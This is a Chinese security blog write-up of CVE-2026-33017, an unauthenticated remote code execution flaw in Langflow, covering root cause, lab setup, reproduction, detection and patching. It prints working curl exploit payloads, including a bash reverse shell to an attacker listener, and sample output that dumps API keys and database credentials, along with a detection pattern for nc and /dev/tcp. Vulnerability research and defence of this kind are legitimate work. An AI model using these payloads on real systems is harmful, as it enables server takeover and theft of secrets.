文章总结： Langflow存在高危未授权远程代码执行漏洞CVE-2026-33017，CVSS评分9.3。攻击者可通过/api/v1/buildpublictmp/{flow_id}/flow端点发送恶意请求，利用服务端无沙箱执行Python代码的机制执行任意系统命令。该漏洞已被CISA收录至已知被利用漏洞目录，要求在2026年4月8日前完成修复。建议立即将Langflow升级至1.9.0或更高版本，并避免将其直接暴露于公网。 综合评分： 95 文章分类： 漏洞分析,WEB安全,应急响应,红队,渗透测试
【漏洞复现】Langflow 未授权远程代码执行（CVE-2026-33017）
原创
xuzhiyang xuzhiyang
玄武盾网络技术实验室
2026年3月30日 10:46 江西
⚠️ *免责声明：本文仅供安全研究与学习之用，严禁使用本内容进行未经授权的违规渗透测试，遵守网络安全法，共同维护网络安全，违者后果自负。
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正文
🔴 高危预警野外已利用CISA KEV 收录披露时间：2026-03-27 | CVSS 9.3 · Critical | 修复版本：1.9.0 |
0x00 事件概述
2026年3月，Langflow 被发现存在未授权远程代码执行漏洞，编号 CVE-2026-33017，CVSS 评分 9.3。
漏洞披露后 20小时内即遭野外利用，CISA 已将其收录至 KEV（已知被利用漏洞）目录，要求 2026年4月8日前完成修复。
⚡ 攻击者无需任何认证，直接向公开 API 端点发送一个携带恶意 flow 数据的 POST 请求，即可在服务器上执行任意系统命令。
0x01 漏洞信息
| 属性 | 值 | | — | — | | CVE 编号 | CVE-2026-33017 | | CVSS 评分 | 9.3 · Critical | | 影响版本 | < 1.9.0 | | 修复版本 | ≥ 1.9.0 | | 利用状态 | 🔥 野外已被利用 | | CISA KEV | ✅ 已收录，处置期限 2026-04-08 | | 漏洞类型 | 认证缺失 + 代码注入（CWE-306 / CWE-94） |
0x02 什么是 Langflow
Langflow 是目前最流行的低代码 AI 工作流构建平台，支持拖拽式可视化界面，可接入 OpenAI、Anthropic、Azure 等主流大模型，并集成 Pinecone、Milvus 等向量数据库，被大量企业用于构建 RAG 应用、Agent 工作流和 MCP 工具服务。
正因其广泛的数据源集成能力（GitHub、Gmail、Notion、数据库等），一旦被攻破，攻击者可直接接触到企业核心数据和 API 凭证。
0x03 漏洞原理
问题端点：
POST /api/v1/build_public_tmp/{flow_id}/flow
该端点原本设计为无需认证（用于 public flow 场景），但存在以下缺陷：
当请求携带可选的 data 参数时，服务端直接使用攻击者提供的 flow 数据，而非从数据库加载合法数据。攻击者可在 flow 节点中嵌入任意 Python 代码，服务端通过 exec() 执行，且没有任何沙箱限制。
漏洞代码（简化）：
# src/backend/base/langflow/api/v1/chat.py # ❌ 漏洞版本 @router.post("/build_public_tmp/{flow_id}/flow") async def build_public_tmp( flow_id: uuid.UUID, data: FlowDataRequest | None, # 可选参数 # ❌ 无需任何认证 ): ... # ✅ 修复版本（1.9.0） @router.post("/build/{flow_id}/flow") async def build_flow( flow_id: uuid.UUID, data: FlowDataRequest | None, current_user: CurrentActiveUser, # ✅ 强制认证 ):
完整执行链：
data 参数 → start_flow_build() → generate_flow_events() → create_graph() → build_graph_from_data() → Graph.from_payload() → vertex.instantiate_component() → eval_custom_component_code() → exec(compiled_code, exec_globals) # 零沙箱执行！
CVSS 向量解读：
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L AV:N — 网络可利用（无需物理接触） AC:L — 攻击复杂度低 PR:N — 无需任何权限 UI:N — 无需用户交互 VC/VI/VA:H — 机密性/完整性/可用性全部高危。
0x04 环境搭建
# 方式一：Docker（推荐） docker run -p 7860:7860 langflowai/langflow:1.8.1 # 方式二：pip pip install langflow==1.8.1 python -m langflow run --host 0.0.0.0 --port 7860
启动后访问 http://localhost:7860，创建一个 Flow 并设置为 Public（共享），从分享链接中获取 Flow UUID。
💡 若目标开启了 AUTOLOGIN=true（默认配置），可先请求 /api/v1/auto_login 获取 superuser token，无需 Flow UUID 即可利用。
0x05 漏洞复现
Step 1命令执行验证
FLOW_ID="your-flow-uuid-here" curl -X POST "http://target:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \ -H "Content-Type: application/json" \ -d '{ "data": { "nodes": [{ "id": "Exploit-001", "type": "genericNode", "data": { "type": "ExploitComp", "node": { "template": { "code": { "type": "code", "value": "import os\n_x = os.popen(\"id && whoami && hostname\").read()\nopen(\"/tmp/pwned\",\"w\").write(_x)" } } } } }] } }'
执行后检查 /tmp/pwned 文件是否写入，确认 RCE 成功。
Step 2反弹 Shell
# 攻击机开启监听 nc -lvnp 4444
# 发送反弹 Shell Payload curl -X POST "http://target:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \ -H "Content-Type: application/json" \ -d '{ "data": { "nodes": [{ "id": "Shell-001", "type": "genericNode", "data": { "type": "ShellComp", "node": { "template": { "code": { "type": "code", "value": "import subprocess\nsubprocess.Popen([\"bash\",\"-c\",\"bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\"])" } } } } }] } }'
Step 3获取 Shell
listening on [any] 4444 ... connect to [192.168.1.100] from (UNKNOWN) [target] 51203 bash: no job control in this shell [langflow@server ~]$ id uid=1000(langflow) gid=1000(langflow) [langflow@server ~]$ cat /root/.env OPENAI_API_KEY=sk-proj-xxxxxxxxxxxxxxxx ANTHROPIC_API_KEY=sk-ant-xxxxxxxxxxxxxxxx DATABASE_URL=postgresql://admin:p@ssw0rd@db:5432/prod
✅ 成功获取服务器 Shell，读取到 OpenAI / Anthropic API Key 及数据库连接凭证。
0x06 与 CVE-2025-3248 的区别
| CVE | 漏洞端点 | 修复方式 |
| — | — | — |
| CVE-2025-3248 | /api/v1/validate/code | 添加认证 |
| CVE-2026-33017 | /api/v1/build_public_tmp/{flow_id}/flow | 从公开端点移除 data 参数 |
CVE-2026-33017 的修复更复杂：该端点本应无需认证（public flow 场景），不能简单加认证，真正的修复是从公开端点完全移除 data 参数，强制服务端只使用数据库中的合法 flow 数据。
0x07 检测是否已被攻击
# 检查 Langflow 版本 pip show langflow # 搜索访问日志中的可疑请求 grep "build_public_tmp" /var/log/langflow.log grep "build_public_tmp" /var/log/nginx/access.log # 检查可疑文件 ls -la /tmp/pwned 2>/dev/null && echo "[!] 可能已被利用" # 检查异常进程 ps aux | grep -E "(nc|bash -i|/dev/tcp)"
0x08 修复建议
方案一（强烈推荐）：立即升级
pip install --upgrade "langflow>=1.9.0" # 验证版本 python -c "import langflow; print(langflow.__version__)"
方案二：网络隔离（临时缓解）
# 仅允许内网访问 Langflow 端口 iptables -A INPUT -p tcp --dport 7860 -s 10.0.0.0/8 -j ACCEPT iptables -A INPUT -p tcp --dport 7860 -j DROP
方案三：Docker 部署隔离
# 仅绑定本地回环，通过反向代理加认证后对外暴露 docker run -p 127.0.0.1:7860:7860 langflowai/langflow:1.9.0
0x09 总结
AI 正在进入企业的方方面面，低代码 AI 工作流平台降低了技术门槛，但也带来了新的攻击面。Langflow 在短短数月内已出现两个 CVSS 9+ 的未授权 RCE 漏洞（CVE-2025-3248 和 CVE-2026-33017），且均在披露后极短时间内遭到野外利用。
对于使用 Langflow 的团队，核心建议只有一条：不要将 Langflow 直接暴露在公网，升级到最新版本，并定期审计已配置的 API Key 和数据库凭证。
📎 参考链接：
· GitHub Advisory: https://github.com/advisories/GHSA-rvqx-wpfh-mfx7
· CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
· NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33017
· Langflow 1.9.0 Release: https://github.com/langflow-ai/langflow/releases/tag/1.9.0
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